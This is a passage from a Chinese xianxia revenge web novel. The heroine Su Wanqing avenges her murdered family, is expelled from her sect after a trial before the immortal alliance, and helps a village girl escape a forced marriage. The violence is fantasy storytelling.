《当她拿到复仇攻略后》
1. 复仇
远处寒山细雨蒙蒙,转见雾霭汇聚于顶,空气中阴冷潮湿不已。苍山寂静无声之地,山底下的阁楼却是热闹无比,嘈杂喧闹置于其中,好不欢乐。
看客眼中的戏女漫步袅娜,一颦一笑,惹人怜爱无比。
一人眼观四周,正想寻个由头出言,台上的戏剧刚好演到忘恩负义的戏码时,众人看得十分投入,对着那忘恩之人纷纷痛骂,他借此打破了安静看戏的气氛,“唉,你们听说了吗?苏晚清在本月月圆之夜杀害了无尘派一门,真是丧心病狂!”
再有人义正言辞般言:“一介女子如此心狠手辣,清风明月派也能纵容不管,当真是世风日下。我看凌霄这掌门之位也是做到头了。”
“苏晚清枉为正道,无尘派当年为修补魔域耗费了多少心力,竟惨死于一个小小女子手中,苏晚清就该被千刀万剐!”
更多自称是正义之士的人皆传达出己之见解,有一人毛遂自荐,说要上山讨伐那无耻之女子,替无尘派寻个公道。
很多人信了他之言论,加入了其阵营,结成同盟,天一亮便自发地赶上清风明月山。
*
真相如何,只有几人知晓。
苏晚清并不在乎,她安静地坐在清风明月山山门的台阶上,看着底下来此的各派人士,脑海中不由得回想起当日发生的一切。
执行任务这日,她在沧澜见到当年的仇敌,她放下手里之事,立即跟了上去。
追查多年,终是有了下落。
夜色已深,寒风拂过古树枝桠,叶落了满地,簌簌而动之中伴着风的呼啸,但依旧无法使苏晚清的心平静下来。
当年的无尘派如今已经落寞成只有三十多个人的小派,从风光到尘埃,渺渺不过十三载,苏晚清不由得回想起那段难以忘却的记忆。
“为什么?万俟叔叔,你是我爹的朋友,为什么要杀我爹娘!为什么?我恨你,我恨你!”
六岁的她趴在浑身是血的母亲身上,手上、脸上沾满了鲜血,全府上下唯有她一人存活。
那时的她认知里没有死亡的概念,但她知道,所有人都不可能再站起来陪她说话,尤其还有自己的爹娘。
她不断用血擦拭着万俟亥纯白的衣裳,企图让那些不知他真面目的人看看这个自称是仙人下凡的人内心有多么肮脏。
她被推倒在地,寒光在她的眼眶中划过,那把沾了人血的剑渐渐上移,空气里满是血腥之气,她最后像是麻木,也恨自己弱小,没有反抗的能力。
“你杀了我爹娘,我诅咒你,活的时候断子绝孙,死后三魂七魄被恶鬼食尽!”她狠狠地瞪着万俟亥,这张脸她永远都不会忘,这辈子都会想起这个仇人,纵使师尊让她喝下忘忧酒,她依旧记得这个屠他满门、夺走爹娘留下的遗物之人。
这样的人,不该活着,就应该下地狱,十八层炼狱都是为他准备的。
再等等,她再等等,看看万俟亥想要做什么,等百姓都离开了,她立刻取这狗贼的性命。
万俟亥,我要你给我下地狱给我爹娘赔罪。
她趴在屋顶,静静地注视院里的一切。亥时三刻,百姓络绎不绝地来到这里,站在门口等候的弟子目光呆滞地招呼客人,头僵硬地转向她这边,随后又移了回去。
“里面——请。”
他们喝过弟子给的符水后自觉地围成一圈,由这院子的主人,也就是万俟亥立于中央。金光自其掌中而出,笼罩在整座院子。
这灵力隐隐透露着邪气,寻常的灵力给人的感觉应当是如雨滋润般畅快,为何她会感到自己的生气被吸收似的,一根若隐若现的白线连接向她,灵力连同生气一起被慢慢夺走。
以术法先赠甘霖,再夺生气,诡异至极。
这是,夺魂。
果然,恶人终究是恶人,还是以损他人之命换自己修为大增。
苏晚清当机立断,斩断牵连,一跃而下,手持命剑切断了万俟亥与所有人的羁绊。间隙之间,她手稍稍往后一挥,立刻将所有百姓转移到院子外。
“这是夺魂术他要取你们性命,还不离开!”苏晚清设下结界,将他们阻拦在外面,但很多百姓对万俟亥深信不疑,任凭苏晚清说破了嘴皮子也无动于衷。
她先是破除了这个害人的阵法,将万俟亥捉住的元灵都放了,无数哀嚎一扫而空,奔向自由,眨眼间顿失踪影。
一位瘸腿的壮汉手拿着根粗木,似在威胁她,“我们不信,这是大仙在考验我们!你是哪里出来的妖女,大仙帮我那残废的儿子恢复正常,难道不是一个好人吗?妖女,不要伤害大仙!”
一位看着年过耄耋之年的佝偻老妇艰难地抬头,布满茧子的手颤抖地指着墙壁,扯着嗓子说道:“大仙帮我可怜的外孙起死回生,救了我们一家的命根子,姑娘,大仙真的是好人啊!”
“你这妖女,放了大仙,不然我们就不客气了。”
“你是哪个山门的?”
……起起落落的声音不断响起,有妇孺儿童,皆在指责她的不妥。
苏晚清听着心烦,直接隔绝与外界的声音,专心地教训这个狼心狗肺的丧尽天良之徒。
万俟亥如今已过花甲,修行功法被一朝打散,根本不敌苏晚清,他府上弟子接连倒在苏晚清的剑下。
他的双目被刺伤,血从眼眶里流出,悲痛地大喊着,什么也抓不住,只能跪在地上祈求饶恕。
“老夫究竟是做了什么错事,让你一个小姑娘如此赶尽杀绝?这些并不重要,只要姑娘肯放老夫一条性命,什么要求我都能答应,外面的百姓都是姑娘的淬炼之物。”
他捂着眼睛,不停地磕头请罪,在她未及之时,万俟亥默念咒语,刹那之间,倒地的弟子倏忽立起,将所有的灵力传送到老头身上,他们的眼瞳中红绿交错。
那些弟子原本富有生机的皮肤瞬间紧皱,变成几具干尸,一窝蜂地朝苏晚清撕咬而来。
她在刹那间结印,半个手掌大的铜镜自她衣袖飞出,将化作傀儡的弟子照个干净,尽数归于灰飞烟灭。
万俟亥没听到任何动静,以为来杀她的女子已经被傀儡撕碎殆尽,他匍匐在地上,好像是在找些什么东西,爬到台阶时,脖颈贴上个什么冰凉的东西,令他驻在原地。
这东西锋利无比,唯有剑才有此状。
“你,你不能杀我,老夫是无尘派掌门,你杀了我,仙门会对你下诛杀令。”万俟亥此刻看不见任何东西,只能借着手握着那边抵在脖子的剑,那些威严与高傲荡然无存,眼下只有肉眼可见的惊慌失措。
苏晚清将剑一转,丝毫不想让她的剑沾上这人肮脏的手,她居高临下地看着这个狼狈至极的老者,自嘲般地笑了笑,随后蹲下,在其耳旁道:“万俟掌门真是贵人多忘事,连自己十三年前做了什么事情都忘得干干净净。哈哈哈,我是谁?你会不知道我是谁?”
十三年前,这有什么事?万俟亥猛然想起,害怕地往后缩去,艰难地爬上楼台之上。
“你不能杀我,我不能死。”
听到他的话,苏晚清忍不住想笑,他不想死就不死,那她苏家上下一百口人也不想死,怎么就死了呢。
他因为一己之私,夺人性命,还要将她赶尽杀绝,她凭什么不能反治其人之身。
“你杀人就得偿命,我报仇是天经地义。万俟亥,去地狱赎罪吧。下辈子做个好人,也别做人了,做个牲畜。”
她不想再与他多费口舌,没有什么比让万俟亥死更痛快的事情,她一抬手,手中的剑便脱离了她的控制,飞向天际,貌似不想让她杀人。
结界突然松动,瞬间便消散。桎梏去除后,许多百姓涌了进来,团结地挡在万俟亥的前面,好像笃定了苏晚清会看在他们的面子上不动手。
每一个人都恶狠狠地瞪着她,仿佛她才是那个罪魁祸首,是她害人害己……
又是刚才的壮汉,依旧是一样的口吻,“妖女,我看出来了你是清风明月派的弟子,你给我等着,我要上山揭穿你的恶行。”
“尽管去,总之他的命我要定了。”
苏晚清不为所动,她的目光犹如一柄利剑刺穿万俟亥的心脏。就算是死,也要拉着万俟亥一起下去。
“哈哈哈哈,你是苏晚清,我想起来了,老夫是众望所归,你是杀不了我的。整个清风明月派都会因你之过而被唾弃,还说你不是个灾星。”
万俟亥在众人的保护中从后门离开,他露出得逞的笑容,既碍眼又丑陋,那股志在必得的劲儿着实欠揍。
苏晚清冷冷地看着,也不阻止,她有把握,万俟亥走不出这个院子。
“有些人注定活不过三更,该还的东西要还,该还的命也要还。”
众人尾随他至此处,离他最近的年迈老妇挡在他的前面,万俟亥的眼睛还在不停地流血,为今之计只有换
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睛之法能助他复明。
“仙长,有没有事?”苍老的声音暂时换回了他的理智,但万俟亥更想复明,一个老妇人的眼睛前两年经他医治已经是慧眼明珠,此时作为祭品是为最佳。深夜之中,他的手缓缓抬起,一把将其扯了过来,手起刀落般地划下老妇的眼睛,抽走其所有的生机。
*
“啊!”
一声惨烈的呼喊响彻全场,所有百姓满眼震惊地望来这里,一时之间不知道说些何话,随之而来的是害怕与惊慌,有人吓得尿在地上,连滚带爬地退到墙角;也有胆子大一点的人,满脸失望地质问;更多的人是吓得逃走,丝毫没有了刚才的神气。
苏晚清翻墙而来,落地之时设下一个保护的结界,而她右手两指并立,嘴里微微翕动,只见一道若隐若现的光芒自她两指迸发而出,结成光束划过漆黑的苍穹。
她出手干脆利落,处处藏着杀机,在躲过攻击后毫不犹豫地一脚踢在了万俟亥的胸膛。
后院的木柱承受不住这样大的冲击力,立即从中间断裂开来,正当万俟亥即将被倒塌的房屋压中之时,苏晚清袖中的长绫缠住他的脖子,将其脱离了那方危险之地。
“苏——咳咳咳咳,苏晚清,你救我——啊!”他话刚落尽,苏晚清便操控命剑,一剑刺穿了他的喉咙,抽出其灵魂,借之瑶光镜封在槐树几日,再将洗魂水洒在树干上,令其既是生受折磨,死亦如生吞活剥般痛彻难捱。
“救你是为了亲手杀了你,万俟亥,你死性不改,罪有应得。杀人偿命,天经地义,这是你的报应。”
苏晚清忽然笑了,氤氲在眼眶的泪水不争气的滑落在她的脸上,她深吸一口气,迎着寒风而立,任凭风将她的泪抹去。
寒夜之中,似有一道剑光席卷而来,那人似乎无意与她纠缠,目的只有万俟亥的魂灵。苏晚清还未来得及出手,那人遁入漆黑的夜,不知所踪。
她唤来命剑,寻着那踪迹离去,终在一处荒山截住了其人,面容不详,身高八尺。
她看着面前之人,语气寒冷地道:“这不是公子能拿的东西,还给我。”
“谁说这是姑娘的,现在在我的手里就是我的东西。将人魂魄置于死地,姑娘当真是丧心病狂、一点都不衬这张脸。”那人将戴着的黑色斗篷揭下,露出一张极为英俊的脸庞,眉目如画,眼含秋波般惹人痴醉。
是位男子,他的周身充斥着邪气,她的心里貌似有了几分猜想,她半瞪着眼前之人,道:“那可与你无关,还给我。”
男子瞬移到她的身旁,低语道:“想要啊,就自己的本事来抢。”
剑划长空,两人势同水火,谁也占不了上风。力量涌过之地,寸草不生,健硕的高树纷纷倒地,花草有诸多凋谢。
最后,男子见自己讨不了好处,便将其魂灵拿在半空,只要他稍稍那么一用力,这个魂灵就会灰飞烟灭。
“万俟亥作茧自缚,姑娘丧尽天良,果真一绝,倒不如由我来亲手毁了他,我们去也不必痴缠。”
苏晚清长剑驱前,横扫而去,夺回他手里的东西,“谁和你痴缠?自作多情。恕不奉陪,告辞。”
男子莞尔一笑,胜卷在握般捏碎手中之物,那双眼睛注视着面前的女子,有几分得意地道:“哦?这个才是真的。”
几阵铃铛响起,苏晚清目光转至他腰间的铃铛,怒意不觉更甚,声音加重了许多:“温衡?你杀害仙门掌门,就不怕诛杀令吗?”
那人没有否认,他便是温衡。
温衡笑得更甚,越发觉得眼前女子有趣,他慢慢踏上姗姗来迟的仙鹤,对着苏晚清道:“是我杀了万俟亥吗?明明是姑娘动的手,我只不过是送了你一个顺水人情。说到底,姑娘还得谢谢我。”
眼见他远远离去,苏晚清本想追上去,却闻来身后师兄燕寒舟清冷的声音:“师妹,你最好解释一下今日发生之事。”
残局仍存,苏晚清亦无半分悔意,只道:“万俟亥欲害百姓,我出手阻拦,但其冥顽不灵,我故而行此策。”
燕寒舟越过她,与她一同来到老庄,眼前一片狼藉,百姓已被疏散,此刻只有他们两人并肩而立。约莫过了一炷香,燕寒舟才道:“此策无错,但你大祸临头了。”
她当时道:“正合我意。”
苏晚清的思绪渐渐回归现实,眼前的百姓似着了魔一般控诉她的罪行,她也被押到了会审堂。
2. 逐出师门
会审堂内。
前日在沧澜救下的百姓来了少数,他们口中皆是谩骂,说苏晚清在沧澜残忍杀害了无尘派掌门万俟亥后竟将附近的山村屠戮殆尽。
丧尽天良,不可饶恕。
不仅如此,仙盟百家已有十三派来至清风明月山,气势汹汹,似非要讨个公道为止,坐镇之人为秋山派掌门秋无意。
苏晚清跪在会审堂内,面朝她的师尊凌霄,安静地听众人争辩的声音——除了师尊,其余四峰长老都在与其他门派前来的使者据理力争。
秋山派掌门与万俟亥是结义兄弟,患难之交。早些年间,无尘派在镇压轩辕窟恶魂时下落不明,他以为义兄已经死在了轩辕窟,谁曾想是死在了这么一个小丫头片子身上。
真是世风日下,天理难容。
“秋掌门,眼见须得为实,空口无凭,你如何能污蔑苏晚清?”朱雀峰的鹤羽长老低头瞧了一眼她,内心挣扎了一分,选择相信,对着秋山派掌门道。
秋无意是个年过半百的仙师,头发已然花白,听说是知道了义兄惨死的噩耗,才致一夜之间白了发,他轻哼了一声,指了指苏晚清,道:
“鹤羽长老此言差矣。苏晚清是你派最出色的弟子,你想包庇亦无可厚非。但错便是错,倘若徇私枉法,这置清风明月于何地?”
秋无意语气加重了几分,浓郁的恨意自其眼底晕染而来,化作尖锐的刀刃,要刺中她般,“苏晚清杀害老夫义兄在先,戕害无辜百姓在后,若不将苏晚清将予仙盟处置,便是你清风明月与整个仙盟为敌!”
几位长老还想辩驳却被凌霄打断,凌霄坐在大堂之上,冷静地观四面动向,发觉时局不可控制之时,出言打断道:“秋掌门,苏晚清为本座之徒,无尘派一事,她已向本座秉明,确实如她所言,无尘派修炼邪术,危害沧澜百姓。”
此话戳中了秋无意心底的弦,他吼道:“危言耸听,无稽之谈!有何人能作证?”
何人能作证?那日除了她,便是温衡,师兄是在事后才至——燕寒舟立即站了出来,说道:“前辈,弟子燕寒舟能作证,师妹所言非虚。”
她不敢相信地望向燕寒舟,此人平日里对她爱搭不理的,竟也会助她。
但事与愿违,仙盟其他门派的掌门质疑清风明月包庇,须得寻个非本门中人才可作证。
她总算能领悟那日燕寒舟口中所说的“大难临头”是何意,原是如此。她刚想站起来,却又被一道无形的力量按了下去。
她顺着这道力量的方向看去,目光只是停留了半刻,随手解了禁制,立即起身,向秋无意鞠了一躬,随后道:“秋掌门,无尘派是我所灭,苏晚清问心无愧。您若要我为此等无恶不作之人偿命,晚辈无话可说。但我并未伤害无辜之人。”
她的话落在每个人的耳中,一片哗然,各人心中自有衡量的秤,是否言出,只待有无人做那首当其冲者。
“哈哈哈,巧舌如簧,任你再如何辩解,事实就摆在众人眼前。”
秋掌门轻哼一声,早就料到她会这么说,他将那日附近的百姓全部召来与苏晚清对峙。
苏晚清一眼就看到了人群走在前列的腿脚不便的壮汉,那人从进门到现在一直都低着头,不敢与她对视。
秋掌门道:“刘玉柱,说出你当日所见的情景,不要害怕,在清风明月派的地界谁也伤不了你。凌霄,老夫敬你是个君子,若是你门下弟子有错,你不能偏袒。”他刻意加重了后面的话,明眼人一听就知道说的是苏晚清。
其他门派前来的代表以秋掌门为首,纷纷附和其语。凌霄蹙着眉头,坐在高堂,顺着秋掌门的话说道:“你来说那日发生了何事,不得隐瞒。”
*
瘸腿的壮汉本名刘玉柱,妻子已经离世,家中唯有一十岁的儿子要抚养。他颤抖着双腿,迟疑地面对凌霄掌门,吐出的话有一出没一出的,丝毫听不出什么重要的信息。
苏晚清站到刘玉柱的旁边,问道:“且有我来问你,那日万俟亥引多位百姓前来,名义为赐灵药,实则吸人生气,我撞见后便加以阻拦,才有了后面之事,我说的对吗,刘大哥?”
此言一出,众人议论纷纷。
刘玉柱沉默半晌,心里做了诸多建设,他的声音掩盖住繁杂无比的声音,大殿之内皆是哗然,他指着苏晚清道:“是她,是她看中了万俟仙长的法宝,仙长不肯交出才被她迫害至此!她还害怕事情败露,就杀了很多人!!”
“你说什么?”苏晚清当时心中闪过一丝失望,随即便质问道,“若是我的话,我岂会留你们活口?你的说法岂不可笑。”
苏晚清继续道:“我既要夺宝,杀马婆婆做什么?”
不知是刘玉柱心虚还是紧张,他手里渗出了汗液,朝着苏晚清喊道:“我不知道!我只知道是你对仙长的法宝图谋不轨,你的其他意图我怎么知道?你要杀我们,是天音门救了我才免遭你的毒手。”
“天音门,陆竟渊在何处?”
天音门并无人来此,秋掌门会意,派人将刘玉柱送到了场外。
“强词夺理。单凭他一面之词便定了罪,有失公允。秋掌门,晚辈深知您与万俟掌门情谊深厚,但您也不必因此诬陷于我,若是您实在生气,倒不如一掌了结晚辈,以解您心头之恨,晚辈不想落得一个冤枉之罪——这……”
苏晚清道,却被秋掌门打断,他绕到他们之间,讯问道:“说得冠冕堂皇,倒是我这个长辈欺负你这个小辈不成?此事先放。我问你,你身上有没有我义兄的法宝?若是有,你又作何解释?”
“秋掌门,您这是哪来的言论?这与您义兄作恶有何干系?如若不信,搜身便是。”苏晚清是取走了万俟亥身上害人的东西,但她随手丢在了离火之中,属于苏家的东西她并没有寻到,就算搜身,同样何物也寻不出来。
凌霄掌门示意女弟子前去搜身,但并没有什么发现,秋掌门仍旧不信。于是,凌霄又派了女弟子去苏晚清的房间搜寻。
半个时辰过后,一女弟子颤颤巍巍地走进来,她的头默默地低着,视线却不断交换,悄悄地把找到的东西藏在身后。
这一举动还是被秋掌门所察觉,他夺过其手中的东西一看,果真是义兄之物!
“苏晚清!你还有何好说的?”秋掌门似乎是恼羞成怒一般,竟扬手要打她,一个身影挡在了她的前面,苏晚清嗅到那人身上淡淡的沉香,便知晓这是何人。
他便是燕寒舟,凌霄掌门的嫡传大弟子。燕寒舟冷冷地盯着秋掌门,看着扬起的手落下才松了口气,随之冷静地道:“秋掌门,我师妹并未言错,你为何要恼羞成怒?”
“退下。”凌霄一声呵斥,燕寒舟才默默离开了此地。
“苏晚清,你可有何话要说?”若是说栽赃陷害,正好给了秋无意伺机污蔑清风明月派的理由,若不是则是她为宝害人。
“不必了,凌霄掌门。事已至此,你难道还要包庇这个胆大包天的弟子?我早知你凌霄是个优柔寡断的人,我早已请示仙盟。”
秋掌门抬头,心道不用此法是不可的。他顿了顿心神,向前走了几步,掌中向上,手中浮现出一沓金光灿灿的玉器,其上的字犹如画卷被人一展而开那般。
“这上面都是百家的建议,我看凌霄掌门与几位长老还是都看看为好。”
苏晚清看不清其中的内容,但也能猜到一些,无非是说她冤枉无辜,应当立即处死。
百家早已不是当初的百家,如今之百家早已无当初的本心,苏晚清也不想去猜测背后是何人在推动,但此刻的她并不想师尊陷于两难之地。
这些人摆明了就是要一个说法,不管谁对谁错,终究有人要给秋山派一个面子。
凌霄镇定自若,平静地开口道:“秋掌门官威极盛,本座清竟不知何时召开了仙盟会。这一法,可谓先斩后奏。本座倒觉得此事有待商榷,疑点尚存,特请各位暂住此处,待查明真相,本座严惩不贷。”
几人不依不饶,今日势必要让苏晚清得到惩罚,甚至有了动手的意图。
秋无意摆手,执意要将苏晚清带回仙盟惩处才肯罢休:“不必,苏晚清今日必须押回仙盟处置,若是清风明月阻拦,我秋山派不介意与清风明月为敌。”
看来是有备而来啊。
一个靶子而已,无人会在意。
谁知,师尊清冷的脸上忽然出现了几分愠怒的神色,似乎有极少人能如此威胁师尊,只见他将手一挥,拦住他们的去路,淡淡的声音传至他们的耳中:“本座平生最不怕的就是威胁,秋山派尽管来战。”
秋掌门瞠目结舌,也不服气,“很好,看来凌霄掌门已经准备袒护孽徒,既然你如此不遵守规则,不如今日便退了仙盟?”
跟着秋无意的人与其沆瀣一气,皆表明了态度,嘈杂的会审堂内瞬间涌过浓厚的硝烟,战争一触即发。
事已至此,苏晚清决意执行心中畅想已久的想法。就在此刻,苏晚清跪在了凌霄的面前,磕了一个响头,看着凌霄道:“师尊,此事皆是因我而起,我愿承担一切罪责。”
“你承担得起吗?你一条命都抵不了十条命。”秋掌门抚着
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花白的胡须,得意地笑了一下,嘲讽道。
凌霄仿佛猜到了她的意图,也明白苏晚清在前日为何如此执着要去极寒之地墨嵬花的花芯。
苏晚清顿了一下,沉着眸子,对着秋无意道:“不知前辈可曾清风明月有件名为剔仙骨的法器,我愿受此刑,褪去一切修为,从此化作凡人。”
秋无意刚想说些什么,她暗自施法,将能连接他人之物的牵丝引连接至其手中,她的声音以三息的时间响在秋无意的心间:“彼岸寥寥,却之遥遥。秋掌门,不想我将万俟掌门的记忆公之于众便应我所求,我若无修为,您杀我岂不是更加容易?”
前面八个字使秋无意遁入沉思之境,他思来想去,终是如她所愿,只是,他又加了一个条件:“此法甚好,但苏晚清从此不能留在清风明月派。”
下了山,苏晚清就得死!
*
剔仙骨强大的灵力来得极快,一击又一击落在她的身上,痛彻的感觉要将她撕碎一般,她疼得滚在地上,足足受了七十二道雷击,刚站起来便晕了过去。
半晌过后,才举步维艰地从地上爬起,视线已渐渐模糊,眼前的重影极多,她晃了晃脑袋,拱手道:“谢师尊不杀之恩。”
仙盟来的那些门派这才罢休,拂袖而去。
这场闹剧得以解决。众人皆被遣退,她嘴角淌着的鲜血滴在地面上,她用衣袖擦了擦,理了一下散乱的发丝,身子斜了一下,差点站不稳。
她缓了缓,服下准备好的丹药,可暂缓身上的痛。
随后她安静地站在山门之前,风很温柔,怕弄疼了她,只是轻轻落在她的身上。耳旁两处的几绺青丝被吹得散乱,她也无瑕顾及。
她看着缓缓朝她走来的师尊,一身白衣,不是掌门所着之服。
“师尊,你会怪我吗?”苏晚清临行之际,还是忍不住问道。
凌霄淡淡地道:“下山去吧,做你想做的事。”他知苏晚清想借今日之事,撇开与清风明月派的关系,未进行阻拦,是遵从她的意愿。
也怪他总是闭关,没有注意到苏晚清的动向,燕寒舟也很少禀报,今日发生的事情或许本该如此,不强求罢。
苏晚清嘴唇泛白,气色不比之前,看起来十分虚弱。她知道师尊的脾气,他很生气,只是喜怒不形于色,她扯出几抹微笑,如平时一般:“师尊你于弟子而言如父一般,我是万般敬重您的。我,我不想因我阻了师尊的计划。”
凌霄重重地敲了敲她的头,似恨铁不成钢般,但又无奈地道:“也罢,好好活着。”
苏晚清笑笑,“弟子知道。”
“嗯。你且好自为之罢。”凌霄的手上浮现出一道灵符,上面的字迹蜿蜒曲折似山,苏晚清凑过去看,却看不懂其中之意。
“师尊,临走之际,离别之物也没有吗?”眼见师尊提步要走,她酝酿的话还没有来得及说出口,话到了嘴边竟变了味。
话音刚落,她的脑袋又是被敲了一下,男子清冷的声音稍稍听出那么一丝温柔,更多是伴着清切。
“天离丹是千年灵药,可保你十月恢复修为。你擅自偷炼天离丹,本座还未怪罪于你,还想被罚?”凌霄没再和她多言,只是召来他的嫡传大弟子燕寒舟,送苏晚清下山。
临走之际,苏晚清跪在地上磕了三个头,拜别凌霄,那双好看的眼睛里热泪盈眶,却迟迟未将泪流。
燕寒舟与凌霄掌门的性子很像,不喜多言,纵是知道苏晚清有意下山也不会多问,将她送到山下后,只是嘱咐她好好活着,别惹出什么麻烦事,还扔给了个东西给她,就头也不回地御剑离去。
苏晚清静静地看着手里的玉坠,心里升起一丝暖意,还是有好人在的。
“开弓没有回头箭,既选了这条路,便要一直走下去。”她在心里默默道。
她还是低估了秋无意对她的厌恶与恨意,才至山下,一伙不知名的杀手便追了上来,只能尽量绕开他们。
天离丹有副作用,必须昏睡一日,且这日不得任何人打扰,她以为能撑到已经租好的地方。
借着最后的意念,她来到一处名为草木村的地方,确认那些人没有追上来才松了口气。
她刚走出一步,身体就像散架了一般,四处都充斥着痛苦。她依靠仅存的力气靠在街边的木桩上,呼吸也急促了不少,还未来得及念咒,她便感觉脑子一沉,随之就径直倒在了地上。
人流涌动,不见何人停下,苏晚清最后的视线定格在一个衣衫褴褛的少年身上,面前的黑暗吞噬掉她所有的理智与思绪。
3. 草木村的阮玉秀
醒来之时,已经过去了一日,她睁眼开始打量四周的环境,掉漆的木桌、缺了纱窗的窗户以及被木柴占据的大半地方的外室。
这大概是个柴房。
她现在躺的床是由两张桌子拼接而来,坚硬的板令她腰酸背痛,日光从破旧的窗户穿过照到她的身上,有些暖,将一些寒意吞噬。
当即之下,苏晚清赶紧运功调息,周身的灵力在翻涌而出,皆汇于她的掌心之中,伤已无大碍,修养几日即可。
如今已有三成修为,再过一月,所有的修为都能回来,届时害她满门被灭的主使是逃不过的。
门外传来窸窸窣窣的声音,那人敲检查了一下门窗,踩着轻盈的脚步进门,她手里拿着一碗粥,瞧见已经醒过来的苏晚清顿时一喜,憔悴的面容添了一点喜色。
一进门,这姑娘就将门关上,锁死,这令苏晚清有些不解。
“姑娘你醒了,我姓阮,名玉秀。”阮玉秀坐到苏晚清的旁边,将粥递了过去,这碗粥兑了很多水,说是粥,不如说是汤,里面飘着很多细碎的葱花,仿佛能给人一种很美味的错觉。
“我是苏晚清,多谢姑娘救命之恩。”
苏晚清双手接过,谢过后准备一跃而下时却听到女子肚子的一声饿响,登时停止了动作,当即就明白了一些。
阮玉秀尴尬地冲她笑了笑,示意她赶快喝,“苏姑娘,你先喝,我待会去盛就好了。”她没再客气,将其一饮而尽。
慢慢地,苏晚清就觉得有些不对劲,粥入口中,聚集苦、辣、酸三种味道,似青梅汤里混杂着辣椒与黄莲。
“噗——”
苏晚清吐了一地,连带前日的饭也一并吐了出来,半晌过后,她有些不好意思地笑笑,赧颜地道:“咳咳咳咳——咳咳咳,抱歉,我不是故意的,可能是我没这个福气喝阮姑娘你的粥,你的恩情,我感激不尽。”她赶紧下床收拾。
人家姑娘好心救了她,还给喝的,她倒好浪费了人家的心意。苏晚清怒骂自己几句不识好歹,谁知阮玉秀根本没在意,和她一起收拾。
阮玉秀见收拾得差不多之后,拿好东西,对她说道:“苏姑娘你没事的话还是早点离开为好,我伯母不是什么好人,别让她见了你。”
一开始苏晚清不理解阮玉秀的话,直到阮玉秀的伯母看到她之后千方百计地将她留下来,好吃好喝地供着她,但在她的饭菜下了药,幸好苏晚清早已防备,没让其得逞。
反而是伯母昏倒在地,苏晚清知这样的人不是好人,便提议让阮玉秀与她一起离开,但阮玉秀拒绝,让她自行离开即可。
苏晚清忍不住问,“为何?若是你想,你弟弟我亦能带走。你伯母竟能做此等违背律法之事?”
阮玉秀握着她的手,柔和的目光转至院子中正在斗蛐蛐的少年,眼眶渐渐湿润,抽噎地道:“我只想好好看着我弟弟长大成人,我马上就要嫁人了——晚清,我不想嫁给王老爷的儿子,但是没有办法,我没有选择。我没有选择,只有这样我才能不被卖去窑子里,阿凝,我不能走,真的不能走。”
“我去帮你杀了他。”苏晚清回握玉秀的手,语气异常认真,对方像是被她的话吓到一般,安抚地道,“骗你的,我不杀人。我有办法让你不嫁人,也能让你留在你弟弟身边。”
“什么办法?”
苏晚清附耳过去,低声说着些话,阮玉秀听着听着便露出了笑容,可又觉得不太真实,“真的可以吗?”
她郑重地点了点头,“按我说的做,一定可以。我今夜就替你将婚约一事了结。”说罢便与她告别,阮玉秀还是有些不放心,她冲其笑了笑,眼神无比清澈,似掺了清泉的干净,又很真挚。
“放心,我不杀人。阮姑娘,保重,有缘再会。”
*
她离开草木村之后便来寻镇上寻王府,通过打探得知王府是镇上有名的富豪,家中有一独子,双腿皆废于幼年,药石无医。
她起先扮作女郎中前去看诊,费了些周折才入了王府。
看了半天,也没有看出个花样,王氏半信半疑地道:“我看姑娘一介女流,年龄也不大,如何就能断定犬子之病有药可医?”
她道:“女流并非是世人评判女子能力的好论断,夫人若是信得过我,便请放心。”
苏晚清早年学了一些探脉的手法,从脉象上看王公子身体康健,只是呈衰天之象,她指出王公子的病症,与早年大夫所说的言语对得上。
王氏觉得有希望才好声好气地道:“有没有法子治我儿腿疾,姑娘你若能治,要什么我都答应你。”
“我不要钱,夫人答应我一件事即可。”苏晚清就等着这句话,她下山之时师兄给她玉坠是件好物藏了许多灵丹妙药,其中便有医治百病的丹药。
王氏爱子心切,一听有转机,心里十分喜悦,“先治我儿,你要何物我定给你寻来。”
苏晚清先道:“不急,我要夫人亲手毁去令郎与草木村阮玉秀的婚契,您当着我的面毁了,我便能让公子下地行走。”
王公子一听是这样的条件,脸色一变,皆转为着急之色,他蹬着轮子过来,生气地质问苏晚清:“是阮玉秀让你来的?她的伯母既然已经将她抵押给我,那她就是我的东西,凭什么要毁契约?”
东西,他竟将玉秀比作物品,苏晚清忍住扇他巴掌的冲动,镇定自若地说道:“我只有一个条件,答应我便救,不答应我便一走了之。只是公子这腿,再过一月不治便永远无法根治,夫人您可得好好想想。我不要黄金百两,只要那一纸婚契。这是一个极好的交易。”
王氏有些动摇。
王公子一脸不情愿地看着王氏,他不想到手的女子就这么溜走了。他的目光又转到苏晚清的身上,明眸皓齿,艳丽如牡丹,也不失为一个好的人选,于是他将主意打到苏晚清的身上,道:“要本公子取消婚约也可以,苏郎
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中给我做个小妾我就答应。”
见色起意的无耻之徒。苏晚清表面笑笑,力道却加重了很多,旁边的男子疼得叫起来,她这才放轻了很多,一副惋惜地道:“公子是在和我说笑呢,小女子一见公子也是欢喜,只是天不遂人愿。早年瘟疫蔓延,我与父亲为救百姓,以身试药,落下了一身的病,最重的病更不能与夫君亲密接触。若是公子不弃,我甘之如饴。”
“也罢,天下女子多的是,不缺一个有病的女子。”王公子信了她的话,连忙甩开她的手,生怕自己沾染上奇怪的病,听到她说触碰并无大碍才肯放下心来,也不执着纳她为妾,天下女子多的是,不缺她一个。
“只是毁契那么简单?”王氏不放心地道。
苏晚清嘴角微微上扬,道:“就是如此简单,不过夫人还要亲自出面说清缘由,不可加以为难阮家。”
王氏一听竟如此简单一口便拿来婚契,当着苏晚清的年烧了这纸契约,苏晚清也履行承诺,答应救王公子。
足足花了三日,王公子已经能下地行走,王氏也依照约定前去退婚,阮玉秀如愿以偿。
*
只是王公子心有不甘,半月之后竟带人去截走阮玉秀,不顾她的意愿,想与其共赴巫山云雨。
千钧一发之际,苏晚清及时赶到现场,她掌下的灵力袭向王公子,将其推倒在地,又捆在了红漆木之上,她将阮玉秀护在身后,剑指王公子。
“王公子,你私自毁契,不怕我断你双腿?”苏晚清将剑移到他的脚处,作势要夺去他来之不易的行走机会,他立刻就慌张不已,赶紧求饶道:“唉唉唉,姑娘姑娘,是我不对是我不对,您大人不计小人过饶了我这一次,我保证,下次不会再犯了,不不不,没有下次。饶了我吧。阮姑娘,你帮我求求情啊,你想我不能走吗?”
阮玉秀似有动容,刚要替他求情,苏晚清便道:“王公子一恢复本性就暴露,水性杨花这样的性子可使不得。要我放了你也可以,你服下此药,我就放了你。”
